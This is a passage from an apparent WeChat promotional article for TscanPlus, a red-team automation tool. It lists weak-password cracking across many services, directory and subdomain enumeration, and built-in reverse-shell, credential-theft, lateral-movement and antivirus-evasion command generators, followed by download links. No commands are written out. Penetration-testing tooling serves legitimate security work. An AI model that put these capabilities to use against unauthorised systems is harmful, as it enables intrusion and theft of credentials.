leaf="">4、内置34种常见服务的弱口令破解，可方便管理员对内网弱口令进行排查，为提高检测效率，优选并精简每个服务的用户名和密码字典。覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">5、实现了编码解码、哈希计算、加密解密、国密算法、数据格式化、其他转换等共36种类型，其中编码解码类8种、哈希计算13种、加密解密9种、国密算法3种、数据格式化9种、其他2种。包含了AES、RSA、SM2、SM4、DES、3DES、Xor、RC4、Rabbit、Base64、Base32、URL、ASCII、各进制转换、字符串与进制转换、HTML、Unicode、MD5、Hmac、SM3、SHA1、SHA2、SHA3、NTLM、JSON格式化与压缩、XML格式化与压缩、IP地址与整数互转、String.fromCharCode、Unix时间戳互转、文本去除重复行、字母大小写、生成各类随机字符串、字符串反转、JWT解析与弱密码、一键解密OA等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">6、目录枚举默认使用HEAD方式，可对并发、超时、过滤、字典等进行自定义，内置了DirSearch的字典，可导入自己的字典文件，也可用内置字典fuzz工具进行生成。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">7、内置各类反弹shell命令85条、Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条、MSF生成命令21条、CS免杀上线命令等，可根据shell类型、操作系统类型、监听类型自动生成代码。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">8、灵活的代理设置，可一键设置全局代理，也可以各模块单独开启代理功能，支持HTTP(S)/SOCKS5两种代理，支持身份认证。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">9、快速的子域名探测，域名可联动其他子功能，可配置key后对接多个网络空间探测平台，一键查询去重。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TscanPlus 更多其他功能介绍可参考文章：<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247512632&amp;idx=1&amp;sn=8fb22d0814c7f9929ce59934ac3873e7&amp;scene=21#wechat_redirect" textvalue="《TscanPlus——一款红队自动化工具》" data-itemshowtype="0" linktype="text" data-linktype="2">《TscanPlus——一款红队自动化工具》</a></span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf=""><span textstyle="" style="font-size: 18px;">4、软件下载</span></span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Github下载：<a href="https://github.com/TideSec/Tscanplus/releases" target="_blank">https://github.com/TideSec/Tscanplus/releases</a></span></p><p cid="n213" mdtype="paragraph" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;" data-pm-slice="0 0 []"><span md-inline="plain"><span leaf="">1、功能介绍和常见问题：</span></span><span md-inline="url" spellcheck="false"><span leaf=""><a href="https://github.com/TideSec/TscanPlus?tab=readme-ov-file#FAQ" target="_blank">https://github.com/TideSec/TscanPlus?tab=readme-ov-file#FAQ</a></span></span></p><p cid="n214" mdtype="paragraph" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span md-inline="plain"><span leaf="">2、启动报错相关问题合集：</span></span><span md-inline="url" spellcheck="false"><span leaf=""><a href="https://github.com/TideSec/TscanPlus/issues/226" target="_blank">https://github.com/TideSec/TscanPlus/issues/226</a></span></span></p><p cid="n215" mdtype="paragraph" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span md-inline="plain"><span leaf="">3、程序闪退相关说明：</span></span><span md-inline="url" spellcheck="false"><span leaf=""><a href="https://github.com/TideSec/TscanPlus/issues/383" target="_blank">https://github.com/TideSec/TscanPlus/issues/383</a></span></span></p><p cid="n216" mdtype="paragraph" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span md-inline="plain"><span leaf="">4、反馈Bug领取Key说明：</span></span><span md-inline="url" spellcheck="false"><span leaf=""><a href="https://github.com/TideSec/TscanPlus/issues/241" target="_blank">https://github.com/TideSec/TscanPlus/issues/241</a></span></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">部分功能还在完善，目前暂不提供源码，这里打包了windows/mac版本的TscanPlus供下载。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">本次编译的均为x64_AMD架构，有需要x86版本或ARM版的可到星球下载。</span></p></div><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Optima, PingFangSC-light, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.64px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(248, 57, 41);width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;visibility: visible;" data-pm-slice="0 0 []"><span leaf="">【转发本文章到朋友圈，获赞30个以上，截图发到&#34;Tide安全团队&#34;公众号后台，可获取一个key，解锁所有POC功能】</span></strong></p><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;chksm=ce5da3ccf92a2adab0511bd798570d967cd4b0b7d7528f2f17163f5ed77e4dd7a02ac17c39d7&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自动化‍工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="max-width: 100%;box-sizing: border-box;width: 2em;height: 0px;border-top: 1px solid rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);border-left-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><p style="max-width: 100%;box-sizing: border-box;clear: both;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="max-width: 100%;box-sizing: border-box;width: 2em;height: 0px;border-top: 1px solid rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);border-left-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><p style="max-width: 100%;box-sizing: border-box;clear: both;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=553bc9c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxjbqWheVJQX9JN5v5nKgfMrZpibeN7j0lqdTY1fQ4ia9pGIic7tjjAoX2Q%2F640%3Fwx_fmt%3Dpng"/></p>
